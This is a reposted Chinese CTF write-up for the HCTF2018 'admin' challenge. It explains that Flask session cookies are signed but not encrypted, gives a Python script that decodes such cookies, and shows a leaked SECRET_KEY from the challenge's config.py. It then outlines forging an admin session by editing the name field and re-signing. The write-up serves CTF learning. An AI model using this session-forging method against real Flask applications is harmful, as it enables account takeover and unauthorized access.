HCTF2018-admin[flask session 偽造]


知識點:flask session 偽造

flask中session是存儲在客戶端cookie中的,也就是存儲在本地。flask僅僅對數據進行了簽名。眾所周知的是,簽名的作用是防篡改,而無法防止被讀取。而fla沒有提供加密操作,所以其session的全部內容都是可以在客戶端讀取的,這就可能造成一些安全問題

這道題源碼泄露,是用flask寫的(看了一下一些師傅的wp,說是看到flask直接去看一下路由)判斷一下具有的功能

通過腳本將session解密:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

要想生成admin的session還需要SECRET_KEY

在config.py里發現了SECRET_KEY

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

將剛才解密出來的session里的name更換成admin,再加密。

網上找到加密腳本

學習鏈接:

Python Web之flask session&格式化字符串漏洞

客戶端 session 導致的安全問題


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM